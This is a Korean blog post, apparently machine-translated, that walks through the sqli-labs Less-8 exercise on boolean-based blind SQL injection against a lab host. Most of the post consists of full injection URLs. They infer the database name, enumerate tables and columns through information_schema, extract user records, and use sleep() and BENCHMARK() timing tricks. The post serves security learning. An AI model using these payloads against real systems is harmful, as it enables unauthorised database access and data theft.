Sqli - labs Less 08 불 형 sql 블라인드 - GET

5434 단어 웹 보안
본 고 는 SQL 주입 의 학습 과정 을 기록 하고 자 료 는 SQLi 이다.
SQLi 블 로그 디 렉 터 리
Less - 08: GET - Blind - Boolian Based - Single Quotas
  • 테스트 구멍 은 URL 뒤에 'or 1 = 1 – +
     http://10.10.10.137/sqli-labs/Less-8/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
    
    를 추가 하여 version () 을 살 펴 보 세 요. 데이터베이스 의 버 전 번 호 는 5.6.17 입 니 다. 여기 서 문 구 는 버 전 번호 의 첫 번 째 가 5 인지 아 닌 지 를 보고 명확 하 게 돌아 온 결과 가 정확 하 다 는 뜻 입 니 다.버 전 번호 가 정확 하지 않 을 때 you are in 을 정확하게 표시 할 수 없습니다. 다음 에 데이터 뱅 크 의 길이
     http://10.10.10.137/sqli-labs/Less-8/?id=1'and length(database())=8--+
    
    가 8 일 때 정확 한 결 과 를 되 돌려 줍 니 다. 길 이 는 8 입 니 다. 데이터 뱅 크 1 위
     http://10.10.10.137/sqli-labs/Less-8/?id=1'and left(database(),1)>'a'--+
    
    Database () 가 security 일 것 이 라 고 추측 합 니 다. 그래서 우 리 는 그의 첫 번 째 가 > a 인지 아 닌 지 를 봅 니 다. 분명 한 것 은 s > a 이기 때문에 정확 한 것 으로 돌아 갑 니 다.우리 가 모 르 는 상황 에서 이분법 으로 주입 의 효율 을 높 일 수 있다.데이터베이스 2 위 는 1 위 가 s 라 는 것 을 알 게 되 었 습 니 다. 우 리 는 앞의 두 사람 이 sa
     http://10.10.10.137/sqli-labs/Less-8/?id=1'and left(database(),2)>'sa'--+
    
    보다 결과 > sd 를 얻 었 는 지 를 보 았 습 니 다. 그러나 > se 에서 오류 가 발생 한 것 은 앞의 두 사람 이 se 가 데이터베이스 2 위
     http://10.10.10.137/sqli-labs/Less-8/?id=1'and left(database(),3)>'seb'--+
    
    에서 결 과 를 얻 었 는 지 추측 하 는 것 입 니 다. 그러나 > sec 에서 오류 가 발생 한 것 은 앞의 세 사람 이 sec
  • 라 는 것 을 설명 합 니 다.
  • substr () ascii () 함 수 를 이용 하여 시도
     ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
    
    상기 데이터베이스 이름 이 security 라 는 것 을 알 게 되면 저 희 는 이 방식 으로 security 데이터베이스 에 있 는 표를 가 져 옵 니 다.추측 표 의 첫 번 째
     http://10.10.10.137/sqli-labs/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--
    
    는 substr (* *, 1, 1) 를 사용 합 니 다. 첫 번 째 문자 길이 P: 여기 tableschema 는 = 'security' 라 고 쓸 수 있 지만 우리 가 사용 하 는 database () 는 여기 database () 가 security 이기 때 문 입 니 다.테스트 가 정확 할 때 까지 이분법 으로 테스트 합 니 다.첫 번 째 는 이메일 을 표시 하기 때문에 101 일 것 입 니 다.이상 은 > 100 시 에 정상적으로 표시 되 지만 > 101 시 에 오류 가 표 시 됩 니 다. 이 는 ASCII 101 에 대응 하 는 알파벳 e 추측 표 의 두 번 째
     http://10.10.10.137/sqli-labs/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+
    
    는 substr (* *, 2, 1) 를 사용 하고 두 번 째 문자 의 길 이 는 > 108 시 에 정상적으로 표시 되 지만 > 109 시 에 오류 가 표 시 됩 니 다.이 분 은 ASCII 109 에 대응 하 는 알파벳 m 입 니 다. 두 번 째 시 계 는 어떻게 얻 나 요?여기 서 우리 가 상술 한 문구 에서 사용 하 는 limit 0, 1 을 볼 수 있다. 즉, 0 번 부터 첫 번 째 를 얻 는 것 이다.두 번 째 는 limit 1, 1
     http://10.10.10.137/sqli-labs/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+
    
    이 고 두 번 째 는 referers 표 입 니 다. 첫 번 째 는 r 이상 이 > 113 일 때 정상적으로 표시 되 지만 > 114 일 때 오류 가 발생 한 것 은 ASCII 114 에 대응 하 는 알파벳 r
  • 임 을 나타 냅 니 다.
  • regexp 를 이용 하여 (2) 의 users 표 의 열
     http://10.10.10.137/sqli-labs/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+
    
    을 가 져 올 때 users 표 의 열 이름 에 us * * 열
     http://10.10.10.137/sqli-labs/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
    
    이 있 는 지 선택 하면 위의 그림 에서 username 이 존재 하 는 것 을 볼 수 있 습 니 다.우 리 는 username 을 password 등 다른 항목 으로 바 꿀 수 있 습 니 다.
  • ord () 와 mid () 함 수 를 이용 하여 users 표 의 내용
     http://10.10.10.137/sqli-labs/Less-8/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
    
    을 가 져 옵 니 다. users 표 의 내용 을 가 져 옵 니 다.username 의 첫 줄 의 첫 번 째 문 자 를 가 져 오 는 ascii 는 68 과 비교 하면 D 입 니 다.우 리 는 표 에서 첫 줄 의 데 이 터 를 Dumb 로 알 게 되 었 다.그 러 니 이제 바퀴 만 다시 만 들 면 됩 니 다.요약: 상기 (1) (2) (3) (4) 우 리 는 서로 다른 문 구 를 사용 하여 불 맹 주 SQL 의 모든 payload 를 통 해 보 여 주 었 다.인 스 턴 스 를 통 해 sql 불 블라인드 문 구 를 더욱 잘 이해 할 수 있 을 것 입 니 다.
  • 오류 주입 소스 코드
     echo '';
     //echo 'You are in...........';
     //print_r(mysql_error());
     //echo "You have an error in your SQL syntax";
     echo "";	
     echo '';	
    
    코드 에서 오류 메 시 지 를 주 시 했 기 때문에 오류 주입
     http://10.10.10.137/sqli-labs/Less-8/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
    
    을 사용 할 수 없습니다. 오류 주입 을 사용 할 수 있다 면 user () 로 바로 돌아 갈 수 있 지만 여 기 는 돌아 오지 않 았 습 니 다.
  • 지연 주입 은 sleep () 함 수 를 이용 하여 주입
     http://10.10.10.137/sqli-labs/Less-8/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
    
    오류 가 발생 했 을 때 5 초 지연 된다.BENCHMARK () 를 이용 한 지연 주입
     http://10.10.10.137/sqli-labs/Less-8/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
    
    결과 가 올 바 를 때 ENCODE ('MSG', 'by 5 seconds') 를 5 천만 회 실행 하면 시간 이 걸 립 니 다.다른 payload 는 less 5 를 참고 하여 직접 주입 합 니 다.
  • 좋은 웹페이지 즐겨찾기